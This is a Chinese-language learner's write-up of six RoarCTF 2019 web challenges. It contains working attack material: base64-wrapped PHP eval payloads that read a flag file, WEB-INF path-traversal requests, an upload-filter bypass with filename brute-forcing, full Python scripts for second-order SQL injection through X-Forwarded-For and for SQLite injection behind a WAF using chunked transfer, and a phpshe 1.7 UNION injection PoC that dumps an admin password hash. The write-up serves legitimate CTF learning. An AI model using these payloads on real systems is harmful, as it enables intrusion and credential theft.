D~DIDI~DIDIDI!!!!

0%

RoarCTF2019WEB学习

0x01 Easy Calc

页面打开之后,是一个计算表达式的页面

1

随便输入一个表达式

2

抓包分析,是通过get方式向calc.php发起的请求

3

直接访问calc.php可以得到源码

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; #空格 tab 换行 回车 " [ ] $ \ ^
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

发现过滤了一些字符,而且在做题过程中,发现过滤的字符远不止代码里面这些,应该还加了waf,在主界面的前端代码里也看到了提示

5

因为waf的存在,输入一些字符,会出现403错误,

6

绕过的方式很简单,只需要nun前面加上个空格就好了,不过要urldecode

7

接下来就是构造payload获得flag了,针对这里的过滤我们可以直接使用base64编码绕过

Payload1 获取文件列表

编码前: eval(base64_decode(print_r(scandir('/'));;;))

编码后:eval(base64_decode(cHJpbnRfcihzY2FuZGlyKCcvJykpOzs7))

8

Payload2 读取flag

编码前: eval(base64_decode(readfile('/flagg');;;))

编码后:eval(base64_decode(cmVhZGZpbGUoJy9mMWFnZycpOzs7))

9

0x02 Easy java

页面打开有一个help按钮,点击后应该是一个下载文件,但是出现了错误

10

抓包将GET改为哦POST后发现下载成功了

11

根据题目easy java尝试去下载WEB-INF/web.xml

Payload1:filename=WEB-INF/web.xml

12

尝试去请求继续请求com.wm.ctf.FlagController

Payload2: filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

13

这里得到一个字符串,base64 Decode即可得到flag

14

0x03 Simple Upload

打开就给了源码,是ThinkPHP框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

在代码中进行了一个过滤,检测上传文件是否包含 ‘.php’ 如果包含则返回false

15

文件的具体上传使用的ThinkPHP的upload类

16

我们去查看thinkphp的源码,在/Library/Think/Upload.class.php中可以找到上传文件的相关代码

1
2
3
4
5
6
7
8
9
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}

在这里有一个strip_tags函数,这个函数会剥去字符串中的HTML、XML、PHP标签,在这里就会去除上传文件名里面的这些字符串,于是我们可以直接构造嵌套文件名的方式上传文件,比如 p

hp ,但是在这里不知道为什么,这个过滤是无效的,所以可以直接上传php

17

然后这里文件名曾也会根据uniqid重新生成,我们无法直接得到文件名,但是如果同时上传多个文件,文件名称就会非常相近,所以可以上传几个正常的文件,得到名称后进行爆破,我们先同时上传两个文件,一个是txt文本文件,另外一个是我们的php文件

5

发送请求后,我们得到了一个文件路径,这个路劲就是我们上传的txt文件的路径,接下来我们便对上传的php文件进行爆破,直接使用bp爆破最后四个字符,这个我试了好多好多好多次,发现其实只用爆破0-9&a-f就可以了

19

可能是因为题目平台的原因,如果线程开多了,会无法访问,所以我只开了两个线程,最后最后跑出了结果,卑微.jpg

20

21

0x04 Online Proxy

看起来是个SSRF其实是注入的题目,根据提示信息,说会收集使用信息

22

然而F12查看源码,发现有注释信息,猜测记录的信息可能就是IP地址,向请求中添加X-Forwarded-For就可以修改ip,这里也就是我们的注入点

23

接下来就开始时间盲注,直接贴上大佬的脚本,学习学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import requests

target = "http://node3.buuoj.cn:28008/"

def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""

payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))

for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 查询上次IP时触发二次注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 再次查询得到结果
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

return return_result

# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

24

0x05 Dist

浏览器设置好代理,打开页面后,F12查看文件,发现前端使用的是vue,是一个前后端分离的架构,并且在source的src/components/config.js中发现了这个应该是备份文件的路径,访问后下载得到源码

26

拿到源码之后,又是一波代码审计

这是一个赌场游戏的系统,我们可以知道:

  • 每一个用户可以获取6次0-99的金额

  • 获得flag的条件是用户总金额加上一个大的随机数uint64(0xFFFFFFF+rand.Intn(0xFFFFF)要等于0X1010010c或总金额大于999999

  • 这个系统只有管理员才有权限添加游戏用户,开启赌场游戏和重置赌场游戏

  • 赌场游戏一轮持续5分钟

26

在登录处发现也存在SQLite3注入,但由于网站还加了一层tcp过滤关键字的WAF,这里需要使用HTTP的分块传输机制绕过关键字过滤

27

在WAF里面,也在TCP层面过滤了关键字,这里可以使用Transfer-Encoding:chunked机制进行绕过

28

贴出大佬的注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://127.0.0.1:9000/auth/login'
flag = ''
for i in range(1, 32):
for j in 'zxcvbnmlkjhgfdsaqwertyuiop0987654321!@#$%^&*()_+':
t = f"a' and substr((select secret from secret limit 1),{i},1)='{j}'-- -"
tmp = f'{{"uname":"{t}","pwd":"11111111"}}'

def data():
for w in tmp:
yield w.encode()

r = requests.post(url, data=data(), headers={'Content-Type':'application/json'})
if r.json()['msg'] == 'ok':
flag += j
break
print(flag)

我是在buuctf上面复现的这道题目,要想使用py脚本,所以也需要先设置一个代理,我直接使用SocksCap代理了一个powershell来运行脚本进行注入

29

关于接口的宽口,我们在前端代码的config里面也能够找到

30

但是问题出现了,我是用代理,脚本还是没办法运行起来emmmm,

咕咕咕~~~~~

还是太菜了,什么都不知道什么都不会,只能等知识库存再多一点的时候再来看看了

0x06 phpShe

题目打开后是phpshe1.7最新版,网上有XXE漏洞(CVE-2019-9761)和SQL注入漏洞(CVE-2019-9762),但是这里面notify_url.php被删掉了,所以无法使用XXE,只能SQL注入

漏洞分析地址:https://anquan.baidu.com/article/697

31

前台注入

Poc:

1
/include/plugin/payment/alipay/pay.php? id=pay`%20where%201=1%20union%20select%201,2, ((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%2 0from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_

32

得到admin用户密码的md5值:2476bf5c8d3653e843b6ed42c0672b91

解md5 得到密码 altman777

33

做到这里我又遇到了问题,根据wp使用通过admin 和altman777就应该能登陆后台进行下一波操作,然而我这里提示密码错误,只能先搁置,等知识积累量再多一点的时候再来看看吧

真是个five啊!!!

2019040111